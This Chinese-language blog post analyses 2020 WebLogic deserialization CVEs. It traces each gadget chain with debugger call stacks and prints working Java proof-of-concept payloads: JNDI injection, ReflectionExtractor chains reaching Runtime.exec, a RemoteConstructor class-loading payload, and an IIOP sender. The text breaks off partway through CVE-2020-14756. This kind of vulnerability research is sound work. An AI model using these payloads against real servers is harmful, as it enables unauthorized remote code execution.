0%

weblogic2020年CVE梳理

前言

原本应该更早发出这篇文章,但是被一些杂七杂八的事一直阻断着,搞得最后两个CVE,CVE-2020-14882和14883一直没分析完。而且这俩本身也比较复杂,不是反序列化漏洞,而是框架请求处理过程中有bug,就一直拖到了现在。

CVE-2020-2551

原理

IIOP协议

在了解这个CVE之前,需要有IIOP的前置知识。在我之前的文章weblogic古老漏洞梳理中,有提到过t3协议,t3协议是weblogic rmi在数据传输过程中使用到的协议,与之同等地位的就有jrmp协议,以及现在所讨论的IIOP协议。

这里继续搬运这篇文章的一张图来帮助理解。

image-20211104184728776

IIOP协议的底层这里不予过多赘述,前面在使用t3协议进行反序列化攻击时探讨过t3协议的格式,当时是为了方便书写python的poc。而IIOP我们可以直接调用java的api来传输恶意对象,就不必在关心底层协议的具体格式(如果未来深入研究IIOP协议反序列化攻击,估计还是要回来看底层)。

漏洞原理

IIOP跟t3的攻击思路是非常相似的,2551与CVE-2018-3191相同,都是使用了JtaTransactionManager类的jndi注入漏洞,来实现反序列化攻击。这里不过多赘述,直接给出调用栈。核心的流程就是栈顶的四步,非常好理解。

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)
readObject:2752, IIOPInputStream (weblogic.iiop)
readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)
readObject:344, ObjectInputStream (java.io)
readObject:1030, HashMap (java.util)
invoke:-1, GeneratedMethodAccessor2 (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
readObject:2788, IIOPInputStream (weblogic.iiop)
readFields:460, ObjectStreamClass (weblogic.utils.io)
defaultReadObject:179, ObjectInputStreamImpl (weblogic.iiop)
readObject:312, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)
readObject:2785, IIOPInputStream (weblogic.iiop)
readFields:460, ObjectStreamClass (weblogic.utils.io)
readValueData:294, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

此外,笔者在学习过程中不是特别理解为什么非得使用动态代理来将JtaTransactionManager类转换为Remote接口的实现类,理论上来说不转也没什么大问题,这个漏洞只是利用了JtaTransactionManager的readObject方法而已,跟Remote接口没什么太大关系。

于是尝试将动态代理的部分去掉,直接反序列化JtaTransactionManager类,发现仍然能够成功攻击,调用栈如下。

lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)
lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
readObject:314, ObjectStreamClass (weblogic.utils.io)
readValueData:281, ValueHandlerImpl (weblogic.corba.utils)
readValue:93, ValueHandlerImpl (weblogic.corba.utils)
read_value:2128, IIOPInputStream (weblogic.iiop)
read_value:1936, IIOPInputStream (weblogic.iiop)
read_value_internal:220, AnyImpl (weblogic.corba.idl)
read_value:115, AnyImpl (weblogic.corba.idl)
read_any:1648, IIOPInputStream (weblogic.iiop)
read_any:1641, IIOPInputStream (weblogic.iiop)
_invoke:84, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

漏洞利用

首先给出利用RMI IIOP协议传输恶意类的脚本

import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.weblogic.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;

public class IIOPAttack {
    static String rhost="iiop://localhost:7001"; //靶机地址

    public static void main(String[] args) throws Exception{
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", rhost);
        Context context = new InitialContext(env);
        ObjectPayload payload = new CVE_2020_2551_1();
        Object object = payload.getObject("{恶意rmi服务器地址}");
        context.rebind("r2"+System.nanoTime(), object);
    }
}

然后贴一下网上流传的生成恶意对象的poc

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class CVE_2020_2551 implements ObjectPayload<Object> {
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    @Override
    public Object getObject(String... command) throws Exception {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(command[0]);
        Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
        return remote;
//        return jtaTransactionManager;
    }

    public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }

    public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
        return (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    }

    public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[0] = iface;
        if (ifaces.length > 0) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces, ih));
    }

    public static Map<String, Object> createMap(final String key, final Object val) {
        final Map<String, Object> map = new HashMap<String, Object>();
        map.put(key, val);
        return map;
    }
}

然后是笔者将动态代理部分去掉的poc

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class CVE_2020_2551_1 implements ObjectPayload<Object> {
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

    @Override
    public Object getObject(String... command) throws Exception {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(command[0]);
        return jtaTransactionManager;
    }
}

CVE-2020-2883

在我之前的文章weblogic古老漏洞梳理的最后已经提到了weblogic2020年的一个CVE,是CVE-2020-2555。建议看2883的分析之前先去看看2555,否则没基础的话可能难以理解。

原理

之前在2555中,我们通过LimitFilter::toString来触发extactor::extract

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke:-1, GeneratedMethodAccessor122 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)

但是看2555的补丁发现,extract方法的调用已经被删掉了

image-20211104154009954

那么2883的思路就是去找其他调用了extract方法的点,首先找到AbstractExtractor::compare,再这个方法中调用了extract方法

image-20211104154102842

那么如何触发compare方法的调用呢?可以借助CC2的思路,使用jdk原生的PriorityQueue进行触发,完整调用链如下。compare方法之前为CC2的调用链,compare之后为2555的构造思路。

exec:617, Runtime (java.lang)
exec:485, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
extract:94, MultiExtractor (com.tangosol.util.extractor)
compare:79, AbstractExtractor (com.tangosol.util.extractor)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

其实不仅仅有AbstractExtractor::compare能触发extract,还有ExtractorComparator::compare

image-20211104155543937

给出调用栈

exec:617, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
compare:61, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

漏洞利用

尝试漏洞利用的时候,一开始直接拿了网上的代码直接跑,大概长这个样子。

ValueExtractor[] valueExtractors = new ValueExtractor[]{
    new ConstantExtractor(Runtime.class),
    new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
    new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
    new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
ExtractorComparator extractorComparator = new ExtractorComparator();
Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
m_extractor.setAccessible(true);
m_extractor.set(extractorComparator, chainedExtractor);

PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add("foo");
priorityQueue.add("bar");

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, extractorComparator);
return priorityQueue;

很快啊,啪的一下报错了。

image-20211104154638646

发现说ConstantExtractor不可被序列化。去检查一下发现,这个类还确实没有实现Serializable接口。这就有点奇怪了。猜测应该是我没打补丁的缘故,补丁或许修改了这个类的代码。

不过没有关系,ConstantExtractor的作用不就是提供了Runtime.class吗?我们看看有没有别的办法拿到它

很快就找到了解决思路,这里compare方法的两个参数想都不用想肯定是priorityqueue中的元素,然后他们被传入了extract方法中,那我们往priorityqueue中塞一个Runtime.class不就得了?

image-20211104154927033

通过反射我们将Runtime.class加入到queue中,即可得到这样的poc。

先给出通过ExtractorComparator::compare触发extract的poc

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import ysoserial.payloads.ObjectPayload;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{command[0]})
        };

        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

        ExtractorComparator extractorComparator = new ExtractorComparator();
        Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
        m_extractor.setAccessible(true);
        m_extractor.set(extractorComparator, chainedExtractor);

        PriorityQueue priorityQueue = new PriorityQueue();
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queueArr=new Object[2];
        queueArr[0]=Runtime.class;
        queueArr[1]=String.class;
        queue.set(priorityQueue,queueArr);
        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,queueArr.length);

        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, extractorComparator);
        return priorityQueue;
    }
}

再给出通过AbstractExtractor::compare触发的

import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.MultiExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import ysoserial.payloads.ObjectPayload;

import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CVE_2020_2883_1 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
            new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
            new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
            new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", "calc"}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        MultiExtractor multiExtractor = new MultiExtractor();

        Field m_extractor = multiExtractor.getClass().getSuperclass().getDeclaredField("m_aExtractor");
        m_extractor.setAccessible(true);
        m_extractor.set(multiExtractor, new ValueExtractor[]{chainedExtractor});


        PriorityQueue priorityQueue = new PriorityQueue();
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queueArr=new Object[2];
        queueArr[0]=Runtime.class;
        queueArr[1]=String.class;
        queue.set(priorityQueue,queueArr);
        Field size = priorityQueue.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(priorityQueue,queueArr.length);


        Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,multiExtractor);
        return priorityQueue;


    }
}

CVE-2020-14644

原理

这个漏洞的触发点在RemoteConstructor.readResolve,这个函数在前一篇文章weblogic古老漏洞梳理有提到,可以先去了解一下。这个函数调用了newInstance

image-20211106215219573

跟进newInstance,这里面先调用了RemotableSupport.get获取到RemotableSupport对象,然后调用了support.realize

image-20211106215356554

先看RemotableSupport.get,三目运算符条件为false,执行(RemotableSupport)s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new)

image-20211106215615682

这里由于s_mapByClassLoader为空,会创建一个RemotableSupport对象,然后函数调用开始返回,返回到RemoteConstructor::newInstance,准备继续调用support.realize

image-20211106215921263

跟进support.realize,首先在58行获取了RemoteConstructor的m_definition字段,然后进行注册。这个字段就是我们设置的恶意类的定义信息

image-20211106220144357

紧接着,在64行调用了this.defineClass,将恶意类的定义信息传入

image-20211106220410672

在86行调用了重载的defineClass,准备加载我们的恶意类

image-20211106220504062

加载完之后就返回了,回到RemotableSupport::realize方法中,继续执行definition.createInstance,看名字就能猜到,这是准备创建恶意类的对象了。

image-20211106220629941

跟进去看一下,确实如此。这里获取了构造方法然后调用构造方法创建对象。

image-20211106220647962

在创建对象过程中就会触发类的初始化,静态代码块得到执行,也就是触发了任意代码执行。

漏洞利用

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import weblogic.cluster.singleton.ClusterMasterRemote;
import ysoserial.payloads.ObjectPayload;
import java.rmi.RemoteException;

public class CVE_2020_14644 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        ClassIdentity classIdentity = new ClassIdentity(RemotePayload.class);
        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(RemotePayload.class.getName());
        ctClass.replaceClassName(RemotePayload.class.getName(), RemotePayload.class.getName() + "$" + classIdentity.getVersion());
        StringBuilder stringBuilder = new StringBuilder("new java.lang.String[] {");
        for (int i = 0; i < command.length; i++) {
            stringBuilder.append("\"");
            stringBuilder.append(command[i].replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));
            stringBuilder.append("\"");
            if (i != command.length - 1) {
                stringBuilder.append(",");
            }
        }
        stringBuilder.append("}");
        String cmd = String.format("java.lang.Runtime.getRuntime().exec(%s);", stringBuilder.toString());
        ctClass.makeClassInitializer().insertAfter(cmd);
        RemoteConstructor constructor = new RemoteConstructor(
            new ClassDefinition(classIdentity, ctClass.toBytecode()),
            new Object[]{}
        );
        return constructor;
    }

    public static class RemotePayload implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {

        @Override
        public RemoteConstructor getRemoteConstructor() {
            return null;
        }

        @Override
        public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

        }

        @Override
        public void setServerLocation(String s, String s1) throws RemoteException {

        }

        @Override
        public String getServerLocation(String s) throws RemoteException {
            return null;
        }
    }
}

CVE-2020-14645

原理

这个洞跟2883的前半段是一样的,使用了ExtractorComparator+PriorityQueue的组合,然后往priorityqueue中塞入JdbcRowSetImpl对象,通过UniversalExtractor::extract来反射调用JdbcRowSetImpl::getDatabaseMetaData,然后触发了JNDI注入

来看看这个UniversalExtractor的extract方法,oTarget就是priorityqueue中我们设置的元素,即JdbcRowSetImpl对象。然后由于this.m_cacheTarget为null,我们进入到了75行,调用extractComplex

image-20211104210213359

extractComplex方法会反射找到指定的方法进行调用,这里我们构造的时候指定了方法是getDatabaseMetaData,那么就会调用这个方法。

image-20211104210930995

最后给出完整的调用栈

lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extractComplex:432, UniversalExtractor (com.tangosol.util.extractor)
extract:175, UniversalExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

拓展

那么既然这个UniversalExtractor的extract能调用方法,那么除了JNDI还有没有别的利用思路呢?

笔者进行了如下尝试,直接执行Runtime.exec()

UniversalExtractor extractor = new UniversalExtractor("exec()", new Object[]{command}, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

Runtime object = Runtime.getRuntime();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{object, object};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
return queue;

一运行,结果发现直接报错了,原因也很简单,Runtime类没有实现Serializable接口,没法序列化,很傻逼的尝试。

紧接着,笔者注意到这个UniversalExtractor类实际上是有一个m_aoParam字段的,难道是保存函数参数的?又看了看反射调用方法的入参,确实是将m_aoParam字段传入了方法。

image-20211104213445356

那么是不是意味着方法参数可控?

紧接着笔者自己写了个类进行测试

import java.io.IOException;
import java.io.Serializable;

public class MyProcessBuilderAdapter implements Serializable {
    public void doSome(String[] args) throws IOException {
        Runtime.getRuntime().exec(args);
    }
}

构造poc如下

UniversalExtractor extractor = new UniversalExtractor("doSome()", new Object[]{command}, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor);

MyProcessBuilderAdapter object = new MyProcessBuilderAdapter();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{object, object};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
return queue;

一运行,再次报错

image-20211104213700188

debug看看报错原因,发现问题出在了187行,sCName为null,空指针异常

image-20211104213827199

往上看sCName的获取流程,看它为什么为null,跟进getCanonicalName

image-20211104213931448

跟进getValueExtractorCanonicalName,由于UniversalExtractor不是AbstractRemotableLambda的子类,直接返回null

image-20211104214023647

再跟进CanonicalNames.computeValueExtractorCanonicalName

image-20211104214043164

发现,如果aoParam长度大于0,则直接返回空。

image-20211104214116169

那么这下就知道原因了,看来UniversalExtractor虽然可以控制执行函数,但是没法指定参数。等等,还有这里,我们前面分析的都是extractComplex函数里的逻辑。现在跳出这个函数,直接看extract,如果m_cacheTarget可控,是不是就可以直接执行方法了

image-20211104214256412

然而,这个字段是transient修饰的,而且writeExternal在序列化时也并没有将这个字段写入序列化数据中,于是就此作罢。

image-20211104214450801

漏洞利用

import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Reflections;
import java.util.PriorityQueue;

public class CVE_2020_14645 implements ObjectPayload<Object> {

    @Override
    public Object getObject(String... command) throws Exception {
        UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
        final ExtractorComparator comparator = new ExtractorComparator(extractor);

        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setDataSourceName(command[0]);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        Object[] q = new Object[]{rowSet, rowSet};
        Reflections.setFieldValue(queue, "queue", q);
        Reflections.setFieldValue(queue, "size", 2);
        return queue;
    }
}

CVE-2020-14756

原理

这个CVE,为了调用到extractor的extract方法可以说是大费了一番心思。通过前面很长一串的调用链,才最终抵达了extract方法。而到了extract方法之后,后面的流程就比较固定化了。

在分析这个CVE的时候,我们将重点关注从反序列化开始到extract方法调用这一段调用栈。

首先,CVE选择的反序列化入口是AttributeHolder对象,先跟进这个对象的readExternal方法(readExternal和readObject的区别参看之前发的weblogic古老漏洞梳理

image-20211105230732148

这个方法继续调用了重载的方法

image-20211105230750354

在重载方法中调用了ExternalizableHelper.readObject,跟进

image-20211105230819370

继续跟进readObject的重载方法

image-20211105230844592

这里这个三目运算符的条件判断为假,进入到readObjectInternal,在这个方法中,如果AttributeHolder对象的m_oValue字段实现了ExternalizableLite接口,则会进入case 10分支。这条链子在构造的时候将m_oValue设置成了TopNAggregator.PartialResult对象,它实现了ExternalizableLite接口,因此进入了case 10分支。

image-20211105231511946

紧接着,由于in是InboundMsgAbbrev$ServerChannelInputStream类型,不是PofInputStream的子类,于是直接进入到else逻辑,1070行进行了类加载,加载TopNAggregator.PartialResult类(即前面m_oValue指定的类),然后通过反射创建了对象。可以看到,创建对象这里没有任何的防御措施。

image-20211106141638903

继续跟进,在1077行调用了TopNAggregator.PartialResult对象的readExternal方法。首先在180行先调用了一次ExternalizableHelper.readObject,目的是反序列化comparator,这里的comparator既是我们构造时设置的MvelExtractor,在它的extract方法中能够执行恶意代码

image-20211106143141938

紧接着,在182行将comparator设置到了treemap中,跟进instantiateInternalMap方法

image-20211106143313741

回到TopNAggregator.PartialResult的readExternal方法中来,下面开始向treemap中添加元素。

image-20211106143713271

跟进add方法,我们在构造exp的时候将m_cMaxSize设置成2,当前大小为0,所以满足if条件,进入169行

image-20211106143722162

调用treemap.put

image-20211106143820376

